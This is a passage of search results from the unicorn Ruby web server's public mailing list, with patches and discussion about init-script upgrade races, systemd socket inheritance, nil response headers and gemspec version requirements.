@@ -9,21 +18,22 @@ APP_ROOT=/home/x/my_app/current
PID=$APP_ROOT/tmp/pids/unicorn.pid
CMD="/usr/bin/unicorn -D -c $APP_ROOT/config/unicorn.rb"
INIT_CONF=$APP_ROOT/config/init.conf
+UPGRADE_DELAY=${UPGRADE_DELAY-2}
action="$1"
set -u
test -f "$INIT_CONF" && . $INIT_CONF
-old_pid="$PID.oldbin"
+OLD="$PID.oldbin"
cd $APP_ROOT || exit 1
sig () {
- test -s "$PID" && kill -$1 `cat $PID`
+ test -s "$PID" && kill -$1 $(cat $PID)
}
oldsig () {
- test -s $old_pid && kill -$1 `cat $old_pid`
+ test -s "$OLD" && kill -$1 $(cat $OLD)
}
case $action in
@@ -45,18 +55,36 @@ restart|reload)
$CMD
;;
upgrade)
- if sig USR2 && sleep 2 && sig 0 && oldsig QUIT
+ if oldsig 0
+ then
+ echo >&2 "Old upgraded process still running with $OLD"
+ exit 1
+ fi
+
+ cur_pid=
+ if test -s "$PID"
+ then
+ cur_pid=$(cat $PID)
+ fi
+
+ if test -n "$cur_pid" &&
+ kill -USR2 "$cur_pid" &&
+ sleep $UPGRADE_DELAY &&
+ new_pid=$(cat $PID) &&
+ test x"$new_pid" != x"$cur_pid" &&
+ kill -0 "$new_pid" &&
+ kill -QUIT "$cur_pid"
then
n=$TIMEOUT
- while test -s $old_pid && test $n -ge 0
+ while kill -0 "$cur_pid" 2>/dev/null && test $n -ge 0
do
printf '.' && sleep 1 && n=$(( $n - 1 ))
done
echo
- if test $n -lt 0 && test -s $old_pid
+ if test $n -lt 0 && kill -0 "$cur_pid" 2>/dev/null
then
- echo >&2 "$old_pid still exists after $TIMEOUT seconds"
+ echo >&2 "$cur_pid still running after $TIMEOUT seconds"
exit 1
fi
exit 0
--
EW
^ permalink raw reply related [relevance 21%]
* Re: [PATCH] `unicorn upgrade` script resilience against exceptions
2016-06-07 13:41 0% ` [PATCH] `unicorn upgrade` script resilience against exceptions Eric Wong
@ 2016-06-07 15:17 0% ` Jesper Rønn-Jensen
2016-06-07 21:13 21% ` [PATCH] examples/init.sh: update to reduce upgrade raciness Eric Wong
0 siblings, 1 reply; 200+ results
From: Jesper Rønn-Jensen @ 2016-06-07 15:17 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Thanks for input.
I will close this issue and wait for your patch later, then.
Will also close pull-request I put at github with reference to this thread.
PS. Thanks for tip on HTML vs Plain text mails. Didn't know Gmail
could send plain text :)
On Tue, Jun 7, 2016 at 3:41 PM, Eric Wong <e@80x24.org> wrote:
> Jesper Rønn-Jensen <jesperrr@gmail.com> wrote:
>> This is actually a change proposal "by accident". But first, some
>> background:
>
> Please don't send HTML mail. I guess the bounce message didn't
> include the reason for the bounce, but should be fixed; now;
> and the bounce will tell you to not send HTML.
>
> Anyways if you stick to old-school Usenet/mailing list posting
> conventions, I'm more than happy to help you :)
>
>> My server uses a standard version of this `init.sh` script. I found that
>> executing `unicorn upgrade` often gives me problems.
>
> Hm... I haven't looked at that script in a while given all
> the new-fangled init replacements...
>
>> For example, it breaks my Capistrano deploy script to use `unicorn:upgrade`
>> to deploy. This is a shame, since it's the correct
>> command for Unicorn to pick up any code changes. But unicorn upgrade in the
>> script fails with messages like:
>>
>> ```
>> sudo /etc/init.d/unicorn upgrade
>> Couldn't upgrade, starting 'export HOME=/home/deploy ; cd
>> /var/www/my_app/current && /home/deploy/.rvm/wrappers/my_app/bundle exec
>> unicorn -D -c /var/www/my_app/shared/config/unicorn.rb -E production'
>> instead
>> master failed to start, check stderr log for details
>> ```
>>
>> And the stderror log:
>> ```
>> E, [2016-06-07T09:03:27.517267 #27583] ERROR -- : reaped #<Process::Status:
>> pid 27621 exit 1> exec()-ed
>> /var/www/my_app/shared/vendor/bundle/ruby/2.3.0/gems/unicorn-5.1.0/lib/unicorn/http_server.rb:195:in
>> `pid=': Already running on PID:27583 (or
>> pid=/var/www/my_app/shared/tmp/pids/unicorn.pid is stale)
>> (ArgumentError)
>> ```
>>
>> I am proposing this change because I misread the documentation for the
>> SIGNALS!
>> I thought that Unicorn itself sends a QUIT after all subprocesses has ended
>> via SIG USR2.
>>
>> The change is to remove the QUIT signal to the PID.oldbin process, and that
>> apparently stops all the failures I ran into. So I made this change on a
>> server, and it works!
>>
>> I just don't understand why, since reading the documentation again it says:
>> https://github.com/defunkt/unicorn/blob/d23d4713dc9ab9732c574f5aa34a4b6740b43164/SIGNALS#L35
>>
>> > * USR2 - reexecute the running binary. A separate QUIT
>> > should be sent to the original process once the child is verified to
>> > be up and running.
>>
>> So clearly, I should send the QUIT signal.
>
> Yes.
>
>> My goal is to have a resilient, robust deployment, where unicorn picks up
>> any code changes.
>
> Unfortunately, PID files have always been racy with USR2.
> Nowadays systemd is fairly standardized and seems to work
> pretty well for managing sockets and services.
>
> I'm still not a fan of some systemd things, but I think the socket
> activation part is very nice. Example @.service and .socket files
> are distributed nowadays:
>
> https://unicorn.bogomips.org/examples/unicorn@.service
> https://unicorn.bogomips.org/examples/unicorn.socket
>
>> Can you help me and enlighten me as to why this proposed change works?
>
> Anyways, things are racy in that script and increasing the
> "sleep 2" to a higher number will help if your system is really
> overloaded.
>
>> ---
>> examples/init.sh | 2 +-
>> 1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/examples/init.sh b/examples/init.sh
>> index 1f0e035..cbadc11 100644
>> --- a/examples/init.sh
>> +++ b/examples/init.sh
>> @@ -45,7 +45,7 @@ restart|reload)
>> $CMD
>> ;;
>> upgrade)
>> - if sig USR2 && sleep 2 && sig 0 && oldsig QUIT
>> + if sig USR2 && sleep 2 && sig 0
>> then
>> n=$TIMEOUT
>> while test -s $old_pid && test $n -ge 0
>> --
>
> I actually wrote a better init script for a similar server,
> patch coming in a bit (or later, close to falling asleep).
--
Jesper Rønn-Jensen
Nine A/S
Mobile: +45 2989 1822
Blog http://justaddwater.dk/
jesperrr@gmail.com (Private e-mail and Google Talk IM)
^ permalink raw reply [relevance 0%]
* Re: [PATCH] `unicorn upgrade` script resilience against exceptions
[not found] <CAL-rKu6CZ731c=uHyZ8+Fg2fhC30e-3-J26XODacUK=YrfX+5Q@mail.gmail.com>
@ 2016-06-07 13:41 0% ` Eric Wong
2016-06-07 15:17 0% ` Jesper Rønn-Jensen
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-06-07 13:41 UTC (permalink / raw)
To: Jesper Rønn-Jensen; +Cc: unicorn-public
Jesper Rønn-Jensen <jesperrr@gmail.com> wrote:
> This is actually a change proposal "by accident". But first, some
> background:
Please don't send HTML mail. I guess the bounce message didn't
include the reason for the bounce, but should be fixed; now;
and the bounce will tell you to not send HTML.
Anyways if you stick to old-school Usenet/mailing list posting
conventions, I'm more than happy to help you :)
> My server uses a standard version of this `init.sh` script. I found that
> executing `unicorn upgrade` often gives me problems.
Hm... I haven't looked at that script in a while given all
the new-fangled init replacements...
> For example, it breaks my Capistrano deploy script to use `unicorn:upgrade`
> to deploy. This is a shame, since it's the correct
> command for Unicorn to pick up any code changes. But unicorn upgrade in the
> script fails with messages like:
>
> ```
> sudo /etc/init.d/unicorn upgrade
> Couldn't upgrade, starting 'export HOME=/home/deploy ; cd
> /var/www/my_app/current && /home/deploy/.rvm/wrappers/my_app/bundle exec
> unicorn -D -c /var/www/my_app/shared/config/unicorn.rb -E production'
> instead
> master failed to start, check stderr log for details
> ```
>
> And the stderror log:
> ```
> E, [2016-06-07T09:03:27.517267 #27583] ERROR -- : reaped #<Process::Status:
> pid 27621 exit 1> exec()-ed
> /var/www/my_app/shared/vendor/bundle/ruby/2.3.0/gems/unicorn-5.1.0/lib/unicorn/http_server.rb:195:in
> `pid=': Already running on PID:27583 (or
> pid=/var/www/my_app/shared/tmp/pids/unicorn.pid is stale)
> (ArgumentError)
> ```
>
> I am proposing this change because I misread the documentation for the
> SIGNALS!
> I thought that Unicorn itself sends a QUIT after all subprocesses has ended
> via SIG USR2.
>
> The change is to remove the QUIT signal to the PID.oldbin process, and that
> apparently stops all the failures I ran into. So I made this change on a
> server, and it works!
>
> I just don't understand why, since reading the documentation again it says:
> https://github.com/defunkt/unicorn/blob/d23d4713dc9ab9732c574f5aa34a4b6740b43164/SIGNALS#L35
>
> > * USR2 - reexecute the running binary. A separate QUIT
> > should be sent to the original process once the child is verified to
> > be up and running.
>
> So clearly, I should send the QUIT signal.
Yes.
> My goal is to have a resilient, robust deployment, where unicorn picks up
> any code changes.
Unfortunately, PID files have always been racy with USR2.
Nowadays systemd is fairly standardized and seems to work
pretty well for managing sockets and services.
I'm still not a fan of some systemd things, but I think the socket
activation part is very nice. Example @.service and .socket files
are distributed nowadays:
https://unicorn.bogomips.org/examples/unicorn@.service
https://unicorn.bogomips.org/examples/unicorn.socket
> Can you help me and enlighten me as to why this proposed change works?
Anyways, things are racy in that script and increasing the
"sleep 2" to a higher number will help if your system is really
overloaded.
> ---
> examples/init.sh | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/examples/init.sh b/examples/init.sh
> index 1f0e035..cbadc11 100644
> --- a/examples/init.sh
> +++ b/examples/init.sh
> @@ -45,7 +45,7 @@ restart|reload)
> $CMD
> ;;
> upgrade)
> - if sig USR2 && sleep 2 && sig 0 && oldsig QUIT
> + if sig USR2 && sleep 2 && sig 0
> then
> n=$TIMEOUT
> while test -s $old_pid && test $n -ge 0
> --
I actually wrote a better init script for a similar server,
patch coming in a bit (or later, close to falling asleep).
^ permalink raw reply [relevance 0%]
* Re: Systemd socket inheritance fails with “not a socket file descriptor”
@ 2016-03-12 23:19 3% ` Amir Yalon
0 siblings, 0 replies; 200+ results
From: Amir Yalon @ 2016-03-12 23:19 UTC (permalink / raw)
To: Christos Trochalakis, Eric Wong; +Cc: unicorn-public
Hi all,
After isolating the problem with the following one-liner in bash:
$ /usr/local/rvm/bin/rvm default exec ruby -e 'puts
IO.for_fd(3).inspect' 3<<<test
#<IO:fd 3>
$ bundle exec ruby -e 'puts IO.for_fd(3).inspect' 3<<<test
-e:1:in `for_fd': The given fd is not accessible because RubyVM reserves
it (ArgumentError)
from -e:1:in `<main>'
$ /usr/local/rvm/rubies/default/bin/ruby -r bundler/setup -e 'puts
IO.for_fd(3).inspect' 3<<<test
#<IO:fd 3>
It became obvious that RVM is not to blame, and the real culprit was
Bundler’s `bundle exec` script. From here it was just a matter of
figuring out how to launch the unicorn script from within the bundle
using the correct ruby without calling `bundle exec`. There are a
number of ways to do that, here is what worked for me:
ExecStart = /usr/local/rvm/gems/ruby-2.0.0-p645/wrappers/ruby -r
bundler/setup vendor/bundle/ruby/2.0.0/bin/unicorn -c
config/unicorn/unicorn.rb -E staging -s myapp@%i
Thanks again to all participants, your input was invaluable.
P.S. Notice how I abuse the -s no-op parameter to identify which
template instance is running in systemd (in the output of ps, for
example), maybe worth documenting it as a feature?
Regards,
Amir
^ permalink raw reply [relevance 3%]
* Re: Systemd socket inheritance fails with “not a socket file descriptor”
2016-03-08 7:45 2% ` Amir Yalon
@ 2016-03-08 17:39 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-03-08 17:39 UTC (permalink / raw)
To: Amir Yalon; +Cc: unicorn-public
Amir Yalon <amiryal@yxejamir.net> wrote:
> Interesting. With the testing patch applied, we’re now failing this
> test in thread_pthread.c:
> http://bogomips.org/mirrors/ruby.git/tree/thread_pthread.c#n1720
> Which then raises the following exception in io.c:
> http://bogomips.org/mirrors/ruby.git/tree/io.c#n7621
>
> From the journal:
> app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in
> `for_fd': The given fd is not accessible because RubyVM reserves it
> (ArgumentError)
That should not happen. So I wonder if LISTEN_FDS is set to
the wrong number, somehow.
How many sockets are you activating? LISTEN_FDS should match
that number.
Can you dump out the inherited, and LISTEN_* env variables with
the following?
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -776,6 +776,8 @@ def inherit_listeners!
end
# to ease debugging, we will not unset LISTEN_PID and LISTEN_FDS
+ $stderr.write("I=#{inherited.inspect} PID=#{sd_pid} FDS=#{sd_fds}\n")
+
inherited.map! do |fd|
io = Socket.for_fd(fd.to_i)
io.autoclose = false
Thanks.
> > Also, can you verify the UNICORN_FD env is NOT set by systemd?
> > (It should not be)
> Verified, not set.
>
> > Also, for reference, which version of systemd is this?
> Ubuntu Wily 15.10, systemd 225-1ubuntu9
I'll try to test with a newer version this week(*) if the above
can't figure it out.
* maybe Thursday/Friday, my connectivity is inconsistent
^ permalink raw reply [relevance 2%]
* Re: Systemd socket inheritance fails with “not a socket file descriptor”
@ 2016-03-08 7:45 2% ` Amir Yalon
2016-03-08 17:39 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Amir Yalon @ 2016-03-08 7:45 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Interesting. With the testing patch applied, we’re now failing this
test in thread_pthread.c:
http://bogomips.org/mirrors/ruby.git/tree/thread_pthread.c#n1720
Which then raises the following exception in io.c:
http://bogomips.org/mirrors/ruby.git/tree/io.c#n7621
From the journal:
app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in
`for_fd': The given fd is not accessible because RubyVM reserves it
(ArgumentError)
from
/home/deploy/src/git/sapi/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in
`block in inherit_listeners!'
from
app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:779:in
`map!'
from
app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:779:in
`inherit_listeners!'
from
app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:111:in
`start'
> Also, can you verify the UNICORN_FD env is NOT set by systemd?
> (It should not be)
Verified, not set.
> Also, for reference, which version of systemd is this?
Ubuntu Wily 15.10, systemd 225-1ubuntu9
Thanks,
Amir
^ permalink raw reply [relevance 2%]
* Re: unicorn log attack?
@ 2016-02-01 9:57 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-02-01 9:57 UTC (permalink / raw)
To: Lawrence Pit; +Cc: unicorn-public
Lawrence Pit <lawrence.pit@gmail.com> wrote:
> Hi Eric,
>
> > but that includes emails :)
>
> Yeah, sorry about the email format :[ Hope this time it's as expected.
Yep, you can check for deliverability of any message by
checking: bogomips.org/unicorn-public/$MESSAGE_ID/
(or just look near the top of http://bogomips.org/unicorn-public/)
Nothing hits the list until it hits the archives.
I also suggest always Bcc:-ing yourself instead of having your
mail client save to a "Sent" folder so you can:
a) test deliverability (including the Message-ID: in headers
if it's added by the server and not your client)
b) get proper threading with any reply-to-all lists you're not
subscribed to.
> > I don't consider it the responsibility of the app server to sanitize it.
>
> fwiw, I agree :) ... similarly, why consider it the responsibility of
> the app server to log it? it is an application level error, not a
> unicorn error.
I'm not entirely sure why unicorn logs it, either. I think it
was already expected in 2009 for application servers to log
that (thin/mongrel/...?)
Similarly, I don't like the "timeout" feature of unicorn
anymore, either since it encourages hiding bugs.
There's no chance of removing either feature, of course.
^ permalink raw reply [relevance 2%]
* Re: behaviour with signal HUP
2016-01-13 9:06 2% behaviour with signal HUP Francesco Savignago
@ 2016-01-13 9:21 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-01-13 9:21 UTC (permalink / raw)
To: Francesco Savignago; +Cc: unicorn-public
Francesco Savignago <francesco.savignago@develon.com> wrote:
> Hi unicorn.
> Asking a question about a thing that I am not able to test: does
> sending a HUP signal to unicorn results in connections being dropped
> or kept?
The connection is kept during any socket I/O and application processing.
unicorn doesn't handle persistent connections, though, so it'll always
drop the connection when its done writing the response.
You should be able to test and verify yourself by:
1) writing an intentionally slow endpoint in your app
2) starting a request to that slow endpoint
3) sending SIGHUP
4) the slow endpoint should finish
5) the workers will gracefully exit and restart
> TIA for support
No problem :>
^ permalink raw reply [relevance 2%]
* behaviour with signal HUP
@ 2016-01-13 9:06 2% Francesco Savignago
2016-01-13 9:21 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Francesco Savignago @ 2016-01-13 9:06 UTC (permalink / raw)
To: unicorn-public
Hi unicorn.
Asking a question about a thing that I am not able to test: does sending a HUP signal to unicorn results in connections being dropped or kept?
TIA for support
^ permalink raw reply [relevance 2%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 21:56 2% ` Aaron Patterson
@ 2016-01-08 22:13 0% ` Adam Duke
0 siblings, 0 replies; 200+ results
From: Adam Duke @ 2016-01-08 22:13 UTC (permalink / raw)
To: Aaron Patterson; +Cc: rack-devel, unicorn-public
Is it reasonable to assume that any rack release that includes bumping
the ruby requirement to 2.2.2 would require a major version bump of
rack?
The dependency in the unicorn gemspec could be as simple as '< 2' if
that is the case.
On Fri, Jan 8, 2016 at 4:56 PM, Aaron Patterson
<tenderlove@ruby-lang.org> wrote:
> On Fri, Jan 08, 2016 at 01:50:46PM -0800, Aaron Patterson wrote:
>> On Fri, Jan 08, 2016 at 07:18:07PM +0000, Eric Wong wrote:
>> > Adam Duke <adamduke@twitter.com> wrote:
>> > > From: Adam Duke <adam.v.duke@gmail.com>
>> > > Date: Fri, 8 Jan 2016 13:06:31 -0500
>> > > Subject: [PATCH] limit rack version for ruby compatibility
>> > >
>> > > rack introduced a dependency on ruby 2.2.2 or greater in
>> > > https://github.com/rack/rack/commit/771d94e5dbe53058160a1f8a4cc56384c1d2a048
>> >
>> > Cc-ing rack-devel + Aaron
>> >
>> > Yikes! ruby-core still supports Ruby 2.1 and possibly even 2.0.0
>> >
>> > And there doesn't seem to be any documentation on why Ruby 2.2.x
>> > is needed in the first place for rack.git
>> > commit a2fe30a5e70371c89c1b29fdc2dc5f8027bc5fe6
>> >
>> > http://bogomips.org/mirrors/rack.git/patch?id=a2fe30a5e70371c8
>> >
>> > Aaron?
>>
>> The main reason I bumped it up to Ruby 2.2.x is because that will be the
>> minimum version of Ruby I'll be stuck with throughout Rack 2.x's
>> lifetime. IOW, I can't drop Ruby versions in anything but a major
>> release so I'm being conservative and only going with the latest (at the
>> time that was 2.2).
>>
>> I could be convinced to bring down the version number, but I'd like to
>> know why first. :)
>
> Oh, I forgot to mention that I don't mind eliminating the Ruby version
> requirement as long as we put something in the README that says we only
> guarantee it works on 2.2.x and up. Older versions could be "best
> effort". I'm just afraid to do something like that because I really
> don't want to maintain 1.8 and 1.9 baggage (for example). I used the
> gemspec to clearly announce the Ruby versions I actually test with.
>
> --
> Aaron Patterson
> http://tenderlovemaking.com/
^ permalink raw reply [relevance 0%]
* Re: [PATCH] limit rack version for ruby compatibility
@ 2016-01-08 21:56 2% ` Aaron Patterson
2016-01-08 22:13 0% ` Adam Duke
0 siblings, 1 reply; 200+ results
From: Aaron Patterson @ 2016-01-08 21:56 UTC (permalink / raw)
To: Aaron Patterson; +Cc: rack-devel, Adam Duke, unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1767 bytes --]
On Fri, Jan 08, 2016 at 01:50:46PM -0800, Aaron Patterson wrote:
> On Fri, Jan 08, 2016 at 07:18:07PM +0000, Eric Wong wrote:
> > Adam Duke <adamduke@twitter.com> wrote:
> > > From: Adam Duke <adam.v.duke@gmail.com>
> > > Date: Fri, 8 Jan 2016 13:06:31 -0500
> > > Subject: [PATCH] limit rack version for ruby compatibility
> > >
> > > rack introduced a dependency on ruby 2.2.2 or greater in
> > > https://github.com/rack/rack/commit/771d94e5dbe53058160a1f8a4cc56384c1d2a048
> >
> > Cc-ing rack-devel + Aaron
> >
> > Yikes! ruby-core still supports Ruby 2.1 and possibly even 2.0.0
> >
> > And there doesn't seem to be any documentation on why Ruby 2.2.x
> > is needed in the first place for rack.git
> > commit a2fe30a5e70371c89c1b29fdc2dc5f8027bc5fe6
> >
> > http://bogomips.org/mirrors/rack.git/patch?id=a2fe30a5e70371c8
> >
> > Aaron?
>
> The main reason I bumped it up to Ruby 2.2.x is because that will be the
> minimum version of Ruby I'll be stuck with throughout Rack 2.x's
> lifetime. IOW, I can't drop Ruby versions in anything but a major
> release so I'm being conservative and only going with the latest (at the
> time that was 2.2).
>
> I could be convinced to bring down the version number, but I'd like to
> know why first. :)
Oh, I forgot to mention that I don't mind eliminating the Ruby version
requirement as long as we put something in the README that says we only
guarantee it works on 2.2.x and up. Older versions could be "best
effort". I'm just afraid to do something like that because I really
don't want to maintain 1.8 and 1.9 baggage (for example). I used the
gemspec to clearly announce the Ruby versions I actually test with.
--
Aaron Patterson
http://tenderlovemaking.com/
[-- Attachment #2: Type: application/pgp-signature, Size: 456 bytes --]
^ permalink raw reply [relevance 2%]
* Re: undefined method `include?' for nil:NilClass (NoMethodError)
@ 2015-11-17 0:27 7% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-11-17 0:27 UTC (permalink / raw)
To: Owen Ou; +Cc: unicorn-public, api-team
Owen Ou <o@heroku.com> wrote:
> We recently upgraded to Unicorn 5.0 but getting the following error:
>
> [2015-11-16T14:54:16.943652 #19838] ERROR -- : app error: undefined
> method `include?' for nil:NilClass (NoMethodError)
>
> E, [2015-11-16T14:54:16.943712 #19838] ERROR -- :
> /home/api/vendor/bundle/ruby/2.2.0/gems/unicorn-5.0.0/lib/unicorn/http_response.rb:40:in
> `block in http_response_write'
<snip>
> The error came from this commit:
> https://github.com/defunkt/unicorn/commit/fb2f10e1d7a72e6787720003342a21f11b879614.
> And specifically the line of `if value =~ /\n/` is changed to `if
> value.include?("\n".freeze)`. Apparently `value` can be nil which
> caused our issue. It should be an easy fix.
Yes, easy, I reverted that hunk in the original change since it's
the easiest to verify as correct. It's unfortunate, change to have
to make, though.
Thanks, will release 5.0.1 in less than a day...
---------------------8<-----------------------
Subject: [PATCH] http_response: allow nil values in response headers
This blatantly violates Rack SPEC, but we've had this bug since
March 2009[1]. Thus, we cannot expect all existing applications
and middlewares to fix this bug and will probably have to
support it forever.
Unfortunately, supporting this bug contributes to application
server lock-in, but at least we'll document it as such.
[1] commit 1835c9e2e12e6674b52dd80e4598cad9c4ea1e84
("HttpResponse: speed up non-multivalue headers")
Reported-by: Owen Ou <o@heroku.com>
Ref: <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
---
Side note: I don't intend to port this change to less-popular servers
I maintain. This bug is yet another example of why monoculture or
even any sort of majority adoption hurts an ecosystem.
lib/unicorn/http_response.rb | 2 +-
test/unit/test_response.rb | 9 +++++++++
2 files changed, 10 insertions(+), 1 deletion(-)
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index c1aa738..7b446c2 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -37,7 +37,7 @@ def http_response_write(socket, status, headers, body,
# key in Rack < 1.5
hijack = value
else
- if value.include?("\n".freeze)
+ if value =~ /\n/
# avoiding blank, key-only cookies with /\n+/
value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
else
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index 0b14d59..fbe433f 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -33,6 +33,15 @@ def test_response_headers
assert out.length > 0, "output didn't have data"
end
+ # ref: <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
+ def test_response_header_broken_nil
+ out = StringIO.new
+ http_response_write(out, 200, {"Nil" => nil}, %w(hysterical raisin))
+ assert ! out.closed?
+
+ assert_match %r{^Nil: \r\n}sm, out.string, 'nil accepted'
+ end
+
def test_response_string_status
out = StringIO.new
http_response_write(out,'200', {}, [])
--
EW
^ permalink raw reply related [relevance 7%]
* [PATCH 2/3] gemspec: relax Ruby version requirement for old RubyGems
@ 2015-11-01 8:37 5% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-11-01 8:37 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Older RubyGems (1.8.23.2 at least) does not seem to support
multiple version requirements for the Ruby version; so drop
the lower 1.9.3 requirement for now.
---
unicorn.gemspec | 12 ++++++++++--
1 file changed, 10 insertions(+), 2 deletions(-)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 23450f5..1099361 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,7 +25,11 @@ Gem::Specification.new do |s|
s.files = manifest
s.homepage = Olddoc.config['rdoc_url']
s.test_files = test_files
- s.required_ruby_version = [ '>= 1.9.3', '< 3.0' ]
+
+ # technically we need ">= 1.9.3", too, but avoid the array here since
+ # old rubygems versions (1.8.23.2 at least) do not support multiple
+ # version requirements here.
+ s.required_ruby_version = '< 3.0'
# for people that are absolutely stuck on Rails 2.3.2 and can't
# up/downgrade to any other version, the Rack dependency may be
@@ -38,5 +42,9 @@ Gem::Specification.new do |s|
s.add_development_dependency('test-unit', '~> 3.0')
s.add_development_dependency('olddoc', '~> 1.0')
- s.licenses = ["GPLv2+", "Ruby 1.8"]
+ # Note: To avoid ambiguity, we intentionally avoid the SPDX-compatible
+ # 'Ruby' here since Ruby 1.9.3 switched to BSD-2-Clause, but we
+ # inherited our license from Mongrel when Ruby was at 1.8.
+ # We cannot automatically switch licenses when Ruby changes.
+ s.licenses = ['GPL-2.0+', 'Ruby-1.8']
end
--
EW
^ permalink raw reply related [relevance 5%]
* [PATCH 1/2] sd_listen_fds emulation cleanup
2015-10-27 3:33 2% [PATCH 0/2] socket inheritance behavior/bug => feature! Eric Wong
@ 2015-10-27 3:33 11% ` Eric Wong
2015-10-27 3:33 7% ` [PATCH 2/2] inheriting sockets from UNICORN_FD does not close them Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2015-10-27 3:33 UTC (permalink / raw)
To: unicorn-public
Re-enable and expand on the test case while we're at it for new
Rubies. The bug is now fixed in Ruby 2.3.0dev as of r51576. We
shall assume anybody running a pre-release 2.3.0 at this point is
running a fairly recent snapshot, so we won't bother doing a
finer-grained check in the test for an exact revision number.
---
lib/unicorn/http_server.rb | 4 ++--
test/exec/test_exec.rb | 40 +++++++++++++++++++++++-----------------
2 files changed, 25 insertions(+), 19 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 3dbfd3e..c1a2e60 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -772,12 +772,12 @@ def inherit_listeners!
sd_pid, sd_fds = ENV.values_at('LISTEN_PID', 'LISTEN_FDS')
if sd_pid && sd_pid.to_i == $$
# 3 = SD_LISTEN_FDS_START
- inherited.concat((3...(3 + sd_fds.to_i)).map { |fd| Socket.for_fd(fd) })
+ inherited.concat((3...(3 + sd_fds.to_i)).to_a)
end
# to ease debugging, we will not unset LISTEN_PID and LISTEN_FDS
inherited.map! do |fd|
- io = String === fd ? Socket.for_fd(fd.to_i) : fd
+ io = Socket.for_fd(fd.to_i)
io.autoclose = false
io = server_cast(io)
set_server_sockopt(io, listener_opts[sock_name(io)])
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 33d768a..af6f151 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -96,31 +96,37 @@ def teardown
end
end
- # FIXME https://bugs.ruby-lang.org/issues/11336
- # [ruby-core:69895] [Bug #11336]
- def disabled_test_sd_listen_fds_emulation
+ def test_sd_listen_fds_emulation
File.open("config.ru", "wb") { |fp| fp.write(HI) }
sock = TCPServer.new(@addr, @port)
- sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
- pid = xfork do
- redirect_test_io do
- # pretend to be systemd
- ENV['LISTEN_PID'] = "#$$"
- ENV['LISTEN_FDS'] = '1'
+ [ %W(-l #@addr:#@port), nil ].each do |l|
+ sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
+
+ pid = xfork do
+ redirect_test_io do
+ # pretend to be systemd
+ ENV['LISTEN_PID'] = "#$$"
+ ENV['LISTEN_FDS'] = '1'
- # 3 = SD_LISTEN_FDS_START
- exec($unicorn_bin, "-l", "#@addr:#@port", 3 => sock)
+ # 3 = SD_LISTEN_FDS_START
+ args = [ $unicorn_bin ]
+ args.concat(l) if l
+ args << { 3 => sock }
+ exec(*args)
+ end
end
+ res = hit(["http://#@addr:#@port/"])
+ assert_equal [ "HI\n" ], res
+ assert_shutdown(pid)
+ assert_equal 1, sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).int,
+ 'unicorn should always set SO_KEEPALIVE on inherited sockets'
end
- res = hit(["http://#{@addr}:#{@port}/"])
- assert_equal [ "HI\n"], res
- assert_shutdown(pid)
- assert_equal 1, sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).int,
- "unicorn should always set SO_KEEPALIVE on inherited sockets"
ensure
sock.close if sock
- end
+ # disabled test on old Rubies: https://bugs.ruby-lang.org/issues/11336
+ # [ruby-core:69895] [Bug #11336] fixed by r51576
+ end if RUBY_VERSION.to_f >= 2.3
def test_working_directory_rel_path_config_file
other = Tempfile.new('unicorn.wd')
--
EW
^ permalink raw reply related [relevance 11%]
* [PATCH 2/2] inheriting sockets from UNICORN_FD does not close them
2015-10-27 3:33 2% [PATCH 0/2] socket inheritance behavior/bug => feature! Eric Wong
2015-10-27 3:33 11% ` [PATCH 1/2] sd_listen_fds emulation cleanup Eric Wong
@ 2015-10-27 3:33 7% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2015-10-27 3:33 UTC (permalink / raw)
To: unicorn-public
